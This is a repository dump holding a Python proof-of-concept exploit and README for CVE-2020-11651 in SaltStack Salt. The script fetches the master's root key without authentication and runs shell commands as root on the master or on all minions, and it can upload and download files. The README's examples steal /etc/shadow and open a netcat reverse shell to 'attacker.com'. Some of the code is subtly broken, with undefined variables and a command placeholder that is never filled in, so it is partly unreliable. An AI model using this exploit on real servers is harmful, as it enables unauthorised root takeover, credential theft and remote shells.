├── PoC.py └── README.md /PoC.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import datetime 5 | import os 6 | import pip 7 | import sys 8 | import warnings 9 | 10 | def install(package): 11 | if hasattr(pip, "main"): 12 | pip.main(["install", package]) 13 | else: 14 | pip._internal.main(["install", package]) 15 | 16 | try: 17 | import salt 18 | import salt.version 19 | import salt.transport.client 20 | import salt.exceptions 21 | except: 22 | install("distro") 23 | install("salt") 24 | 25 | def ping(channel): 26 | message = { 27 | "cmd":"ping" 28 | } 29 | try: 30 | response = channel.send(message, timeout=5) 31 | if response: 32 | return True 33 | except salt.exceptions.SaltReqTimeoutError: 34 | pass 35 | 36 | return False 37 | 38 | def get_rootkey(channel): 39 | message = { 40 | "cmd":"_prep_auth_info" 41 | } 42 | try: 43 | response = channel.send(message, timeout=5) 44 | for i in response: 45 | if isinstance(i,dict) and len(i) == 1: 46 | rootkey = list(i.values())[0] 47 | return rootkey 48 | except: 49 | pass 50 | 51 | return False 52 | 53 | def minion(channel, command): 54 | message = { 55 | "cmd": "_send_pub", 56 | "fun": "cmd.run", 57 | "arg": ["/bin/sh -c \"{command}\""], 58 | "tgt": "*", 59 | "ret": "", 60 | "tgt_type": "glob", 61 | "user": "root", 62 | "jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()), 63 | "_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow()) 64 | } 65 | 66 | try: 67 | response = channel.send(message, timeout=5) 68 | if response == None: 69 | return True 70 | except: 71 | pass 72 | 73 | return False 74 | 75 | def master(channel, key, command): 76 | message = { 77 | "key": key, 78 | "cmd": "runner", 79 | "fun": "salt.cmd", 80 | "kwarg":{ 81 | "fun": "cmd.exec_code", 82 | "lang": "python3", 83 | "code": f"import subprocess;subprocess.call(\"{command}\",shell=True)" 84 | }, 85 | "user": "root", 86 | "jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()), 87 | "_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow()) 88 | } 89 | 90 | try: 91 | response = channel.send(message, timeout=5) 92 | log("[ ] Response: " + str(response)) 93 | except: 94 | return False 95 | 96 | def download(channel, key, src, dest): 97 | message = { 98 | "key": key, 99 | "cmd": "wheel", 100 | "fun": "file_roots.read", 101 | "path": path, 102 | "saltenv": "base", 103 | } 104 | 105 | try: 106 | response = channel.send(message, timeout=5) 107 | data = response["data"]["return"][0][path] 108 | 109 | with open(dest, "wb") as o: 110 | o.write(data) 111 | return True 112 | except: 113 | return False 114 | 115 | def upload(channel, key, src, dest): 116 | try: 117 | with open(src, "rb") as s: 118 | data = s.read() 119 | except Exception as e: 120 | print(f"[ ] Failed to read {src}: {e}") 121 | return False 122 | 123 | message = { 124 | "key": key, 125 | "cmd": "wheel", 126 | "fun": "file_roots.write", 127 | "saltenv": "base", 128 | "data": data, 129 | "path": dest, 130 | } 131 | 132 | try: 133 | response = channel.send(message, timeout=5) 134 | return True 135 | except: 136 | return False 137 | 138 | def log(message): 139 | if not args.quiet: 140 | print(message) 141 | 142 | if __name__=="__main__": 143 | warnings.filterwarnings("ignore") 144 | 145 | desc = "CVE-2020-11651 PoC" 146 | 147 | parser = argparse.ArgumentParser(description=desc) 148 | 149 | parser.add_argument("--host", "-t", dest="master_host", metavar=('HOST'), required=True) 150 | parser.add_argument("--port", "-p", dest="master_port", metavar=('PORT'), default="4506", required=False) 151 | parser.add_argument("--execute", "-e", dest="command", default="/bin/sh", help="Command to execute. Defaul: /bin/sh", required=False) 152 | parser.add_argument("--upload", "-u", dest="upload", nargs=2, metavar=('src', 'dest'), help="Upload a file", required=False) 153 | parser.add_argument("--download", "-d", dest="download", nargs=2, metavar=('src', 'dest'), help="Download a file", required=False) 154 | parser.add_argument("--minions", dest="minions", default=False, action="store_true", help="Send command to all minions on master",required=False) 155 | parser.add_argument("--quiet", "-q", dest="quiet", default=False, action="store_true", help="Enable quiet/silent mode", required=False) 156 | parser.add_argument("--fetch-key-only", dest="fetchkeyonly", default=False, action="store_true", help="Only fetch the key", required=False) 157 | 158 | args = parser.parse_args() 159 | 160 | minion_config = { 161 | "transport": "zeromq", 162 | "pki_dir": "/tmp", 163 | "id": "root", 164 | "log_level": "debug", 165 | "master_ip": args.master_host, 166 | "master_port": args.master_port, 167 | "auth_timeout": 5, 168 | "auth_tries": 1, 169 | "master_uri": f"tcp://{args.master_host}:{args.master_port}" 170 | } 171 | 172 | clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt="clear") 173 | 174 | log(f"[+] Attempting to ping {args.master_host}") 175 | if not ping(clear_channel): 176 | log("[-] Failed to ping the master") 177 | log("[+] Exit") 178 | sys.exit(1) 179 | 180 | 181 | log("[+] Attempting to fetch the root key from the instance.") 182 | rootkey = get_rootkey(clear_channel) 183 | if not rootkey: 184 | log("[-] Failed to fetch the root key from the instance.") 185 | sys.exit(1) 186 | 187 | log("[+] Retrieved root key: " + rootkey) 188 | 189 | if args.fetchkeyonly: 190 | sys.exit(1) 191 | 192 | if args.upload: 193 | log(f"[+] Attemping to upload {src} to {dest}") 194 | if upload(clear_channel, rootkey, args.upload[0], args.upload[1]): 195 | log("[+] Upload done!") 196 | else: 197 | log("[-] Failed") 198 | 199 | if args.download: 200 | log(f"[+] Attemping to download {src} to {dest}") 201 | if download(clear_channel, rootkey, args.download[0], args.download[1]): 202 | log("[+] Download done!") 203 | else: 204 | log("[-] Failed") 205 | 206 | if args.minions: 207 | log("[+] Attempting to send command to all minions on master") 208 | if not minion(clear_channel, command): 209 | log("[-] Failed") 210 | else: 211 | log("[+] Attempting to send command to master") 212 | if not master(clear_channel, rootkey, command): 213 | log("[-] Failed") 214 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-11651 2 | 3 | An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions. 4 | 5 | [Details](https://www.suse.com/security/cve/CVE-2020-11651/) 6 | 7 | [Patches](https://github.com/rossengeorgiev/salt-security-backports) for unspported salt versions 8 | 9 | ## Install 10 | 11 | git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651 12 | chmod +x ~/CVE-2020-11651/PoC.py 13 | 14 | ## Usage 15 | 16 | $ ~/CVE-2020-11651/PoC.py -h 17 | usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only] 18 | 19 | CVE-2020-11651 PoC 20 | 21 | optional arguments: 22 | -h, --help show this help message and exit 23 | --host HOST, -t HOST 24 | --port PORT, -p PORT 25 | --execute COMMAND, -e COMMAND 26 | Command to execute. Defaul: /bin/sh (use netcat for reverse shell) 27 | --upload src dest, -u src dest 28 | Upload a file 29 | --download src dest, -d src dest 30 | Download a file 31 | --minions Send command to all minions on master 32 | --quiet, -q Enable quiet/silent mode 33 | --fetch-key-only Only fetch the key 34 | 35 | ## Example 36 | 37 | #### Download shadow file 38 | ./PoC.py --host target.com --download /etc/shadow ./shadow 39 | 40 | #### Run a reverse shell 41 | nc -nvl attacker.com 9999 42 | ./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\"" 43 | 44 | #### Fetch the key 45 | ./PoC.py --host target.com --fetch-key-only 46 | --------------------------------------------------------------------------------